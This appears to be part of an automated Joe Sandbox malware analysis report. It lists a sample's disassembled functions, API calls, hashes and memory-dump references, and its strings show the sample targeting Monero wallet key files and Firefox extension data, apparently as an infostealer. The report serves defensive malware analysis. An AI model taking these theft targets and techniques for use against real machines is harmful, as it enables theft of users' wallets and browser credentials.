API String ID: 4191843772-0
Opcode ID: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction ID: 1613cef470aeef8597951b0f085038bed967f093e170f35c330a2cf3b3c8010e
Opcode Fuzzy Hash: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction Fuzzy Hash: EA21FC317412186BDB05AFA4DC84BAEBBB9AB4A708F94051DF903A7780EB705C4487E1

Function 00E37E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37E37
RtlAllocateHeap.NTDLL(00000000), ref: 00E37E3E
RegOpenKeyExA.KERNEL32(80000002,017FC6E8,00000000,00020119,?), ref: 00E37E5E
RegQueryValueExA.KERNEL32(?,0180E2D0,00000000,00000000,000000FF,000000FF), ref: 00E37E7F
RegCloseKey.ADVAPI32(?), ref: 00E37E92

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d1f246254b89f753c6b859deea640213c7a2eebaef37dec73c07be85ea820ad4
Instruction ID: 8e45ba2bd3653fd5c5afabf82713f268c7635ec9479c88c1090cb9ed17fe2973
Opcode Fuzzy Hash: d1f246254b89f753c6b859deea640213c7a2eebaef37dec73c07be85ea820ad4
Instruction Fuzzy Hash: 7E116AB1A44205EBDB20DF95DD4AFBBBBB8FB44B10F104119F646B7284D7796800CBA0

Function 00E212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E212B4
RtlAllocateHeap.NTDLL(00000000), ref: 00E212BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00E212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E212F5
RegCloseKey.ADVAPI32(?), ref: 00E212FF

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: cbac67d9aa852096d690b07c98b431859737ef6824197ef63f877059ea350d44
Instruction ID: 308837b697d75733d72a52bd6e10f2321f1cc3cfca48216837931cfafbbbbfc2
Opcode Fuzzy Hash: cbac67d9aa852096d690b07c98b431859737ef6824197ef63f877059ea350d44
Instruction Fuzzy Hash: 660112B5A40208FFDB10DFD0DC49FAEB7B8EB48701F008155FA45A7284D675AA018B50

Function 00E2A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01809B68,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00E2A0BD
LoadLibraryA.KERNEL32(017F4FD0), ref: 00E2A146

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A820: lstrlen.KERNEL32(00E24F05,?,?,00E24F05,00E40DDE), ref: 00E3A82B
Part of subcall function 00E3A820: lstrcpy.KERNEL32(00E40DDE,00000000), ref: 00E3A885

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

SetEnvironmentVariableA.KERNEL32(01809B68,00000000,00000000,?,00E412D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00E40AFE), ref: 00E2A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00E2A0B2, 00E2A0C6, 00E2A0DC

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: bf4119a2d20cad29789919c29fcfbe165a2ad44ce0222cbe70f8fca5b7e732c6
Instruction ID: 09960c06393e3a5a248dbcf9e2053fa507d18ad6cf06b6b40ce5560b972e022c
Opcode Fuzzy Hash: bf4119a2d20cad29789919c29fcfbe165a2ad44ce0222cbe70f8fca5b7e732c6
Instruction Fuzzy Hash: 034150B1A01204EFCB24FFA4F859EAA37B4BB48305F045128F585B32B4DB7A5D84CB61

Function 00E2A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E38B60: GetSystemTime.KERNEL32(00E40E1A,0180EA18,00E405AE,?,?,00E213F9,?,0000001A,00E40E1A,00000000,?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E38B86

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E2A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00E2A3FF
lstrlen.KERNEL32(00000000), ref: 00E2A6BC

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

DeleteFileA.KERNEL32(00000000), ref: 00E2A743

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a07322d3c39b7b475e9d3a45d24d0ce03c860fcf2c19c726ebc816800b8d2345
Instruction ID: 931cd8f62959df4fffb8ace2d6f5be63da8329ac6786a142890602584040da7f
Opcode Fuzzy Hash: a07322d3c39b7b475e9d3a45d24d0ce03c860fcf2c19c726ebc816800b8d2345
Instruction Fuzzy Hash: C3E12272810108ABCB18FBA4DC9AEEE777CAF54300F549179F55772091EF346A89CB62

Function 00E2D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E38B60: GetSystemTime.KERNEL32(00E40E1A,0180EA18,00E405AE,?,?,00E213F9,?,0000001A,00E40E1A,00000000,?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E38B86

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E2D801
lstrlen.KERNEL32(00000000), ref: 00E2D99F
lstrlen.KERNEL32(00000000), ref: 00E2D9B3
DeleteFileA.KERNEL32(00000000), ref: 00E2DA32

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d1f5105e1cbeadfce3fb2f9031d9e40be1ae132de4bfff6c40f9a01225bcfdc7
Instruction ID: 21b1cce191df8a828fae70a839e09decbc48d928134c10626b4f3c35ef9718da
Opcode Fuzzy Hash: d1f5105e1cbeadfce3fb2f9031d9e40be1ae132de4bfff6c40f9a01225bcfdc7
Instruction Fuzzy Hash: 048125729101189BCB08FBA4DC99EEE77B8AF54300F445179F587B7091EF346A49CB62

Function 00E2F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E299EC
Part of subcall function 00E299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E29A11
Part of subcall function 00E299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E29A31
Part of subcall function 00E299C0: ReadFile.KERNEL32(000000FF,?,00000000,00E2148F,00000000), ref: 00E29A5A
Part of subcall function 00E299C0: LocalFree.KERNEL32(00E2148F), ref: 00E29A90
Part of subcall function 00E299C0: CloseHandle.KERNEL32(000000FF), ref: 00E29A9A

Part of subcall function 00E38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E38E52

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00E41580,00E40D92), ref: 00E2F54C
lstrlen.KERNEL32(00000000), ref: 00E2F56B

Strings

^userContextId=4294967295, xrefs: 00E2F59C
moz-extension+++, xrefs: 00E2F5AD

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: a143842075dfdb6b7c3adabab59e24ba0fa4e1cbea231b40d824017cdbc6cdf9
Instruction ID: 4405162b7223549f7c258de9f7e8a0754ec763db60d692ff66534b0239c14d6c
Opcode Fuzzy Hash: a143842075dfdb6b7c3adabab59e24ba0fa4e1cbea231b40d824017cdbc6cdf9
Instruction Fuzzy Hash: 7E514372D00108AADB08FFA0EC9ADED77B8AF54300F449578F44677191EE346A49CBA2

Function 00E370D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s, xrefs: 00E37111, 00E37114
s, xrefs: 00E372AE, 00E37179, 00E3717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00E3718C

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
